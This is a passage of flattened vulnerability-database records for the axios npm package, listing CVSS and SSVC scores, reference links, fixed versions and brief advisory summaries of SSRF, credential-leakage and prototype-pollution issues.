SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/ |
|
|
| url |
https://github.com/axios/axios/pull/10688 |
|
| 11 |
| reference_url |
https://github.com/axios/axios/releases/tag/v0.31.0 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N |
|
| 1 |
| value |
6.3 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 3 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/ |
|
|
| url |
https://github.com/axios/axios/releases/tag/v0.31.0 |
|
| 12 |
| reference_url |
https://github.com/axios/axios/releases/tag/v1.15.0 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N |
|
| 1 |
| value |
6.3 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 3 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/ |
|
|
| url |
https://github.com/axios/axios/releases/tag/v1.15.0 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
| 28 |
|
| 29 |
|
| 30 |
|
| 31 |
|
| 32 |
|
| 33 |
|
| 34 |
|
| 35 |
|
| 36 |
|
| 37 |
|
| 38 |
|
|
| fixed_packages |
| 0 |
| url |
pkg:npm/axios@1.15.0 |
| purl |
pkg:npm/axios@1.15.0 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-4b7a-22xk-gbh9 |
|
| 1 |
| vulnerability |
VCID-5kg1-k416-dfc1 |
|
| 2 |
| vulnerability |
VCID-6ru1-uamj-5ud3 |
|
| 3 |
| vulnerability |
VCID-8a5f-cd5t-mucc |
|
| 4 |
| vulnerability |
VCID-gp41-4j8d-37ce |
|
| 5 |
| vulnerability |
VCID-hadc-5d2f-gqe6 |
|
| 6 |
| vulnerability |
VCID-jvs6-8bva-nqb3 |
|
| 7 |
| vulnerability |
VCID-rusx-pwdw-zqcj |
|
| 8 |
| vulnerability |
VCID-vzqt-dj1z-bqa6 |
|
| 9 |
| vulnerability |
VCID-xdas-dhtb-nuge |
|
| 10 |
| vulnerability |
VCID-xg1x-4spz-jucn |
|
| 11 |
| vulnerability |
VCID-yu5y-e4bk-zyfp |
|
| 12 |
| vulnerability |
VCID-z5pf-pqcd-ckas |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/axios@1.15.0 |
|
|
| aliases |
CVE-2025-62718, GHSA-3p68-rc4w-qgx5
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.3 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-td7u-cct6-bud6 |
|
| 14 |
| url |
VCID-vq2d-yv43-57b6 |
| vulnerability_id |
VCID-vq2d-yv43-57b6 |
| summary |
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if `baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
| reference_url |
https://github.com/axios/axios/issues/6463 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
7.7 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
|
| 1 |
| value |
HIGH |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 2 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-07T19:32:00Z/ |
|
|
| url |
https://github.com/axios/axios/issues/6463 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
|
| fixed_packages |
| 0 |
| url |
pkg:npm/axios@1.8.2 |
| purl |
pkg:npm/axios@1.8.2 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-37kj-pzyt-8be6 |
|
| 1 |
| vulnerability |
VCID-4b7a-22xk-gbh9 |
|
| 2 |
| vulnerability |
VCID-5kg1-k416-dfc1 |
|
| 3 |
| vulnerability |
VCID-6ru1-uamj-5ud3 |
|
| 4 |
| vulnerability |
VCID-8a5f-cd5t-mucc |
|
| 5 |
| vulnerability |
VCID-axy8-kmka-pugw |
|
| 6 |
| vulnerability |
VCID-gp41-4j8d-37ce |
|
| 7 |
| vulnerability |
VCID-hadc-5d2f-gqe6 |
|
| 8 |
| vulnerability |
VCID-jvs6-8bva-nqb3 |
|
| 9 |
| vulnerability |
VCID-kwj2-mk8c-4fef |
|
| 10 |
| vulnerability |
VCID-rusx-pwdw-zqcj |
|
| 11 |
| vulnerability |
VCID-td7u-cct6-bud6 |
|
| 12 |
| vulnerability |
VCID-vzqt-dj1z-bqa6 |
|
| 13 |
| vulnerability |
VCID-xdas-dhtb-nuge |
|
| 14 |
| vulnerability |
VCID-xg1x-4spz-jucn |
|
| 15 |
| vulnerability |
VCID-yu5y-e4bk-zyfp |
|
| 16 |
| vulnerability |
VCID-z5pf-pqcd-ckas |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/axios@1.8.2 |
|
|
| aliases |
CVE-2025-27152, GHSA-jr5f-v2jv-69x6
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-vq2d-yv43-57b6 |
|
| 15 |
|
| 16 |
| url |
VCID-xdas-dhtb-nuge |
| vulnerability_id |
VCID-xdas-dhtb-nuge |
| summary |
axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
| 28 |
|
| 29 |
|
| 30 |
|
| 31 |
|
| 32 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-42041, GHSA-w9j2-pvgh-6h63
|
| risk_score |
3.7 |
| exploitability |
0.5 |
| weighted_severity |
7.4 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-xdas-dhtb-nuge |
|
| 17 |
|
| 18 |
|
| 19 |
|
|